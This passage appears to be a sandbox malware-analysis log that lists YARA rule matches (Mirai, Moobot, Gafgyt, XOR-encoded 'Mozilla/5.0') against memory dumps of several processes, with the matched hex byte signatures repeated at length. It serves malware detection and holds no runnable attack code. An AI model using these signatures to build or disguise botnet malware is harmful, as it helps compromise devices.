78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6930.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7107.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7107.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7107.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7107.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7107.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7107.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6386.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6386.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6386.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6386.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6386.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6386.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6974.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6974.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6974.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6974.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6974.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6974.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6387.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7078.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6587.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6587.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6587.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6587.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6587.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6587.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7194.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7194.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7194.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7393.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7393.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7194.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7194.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7194.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6248.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6248.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6248.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6248.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6248.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 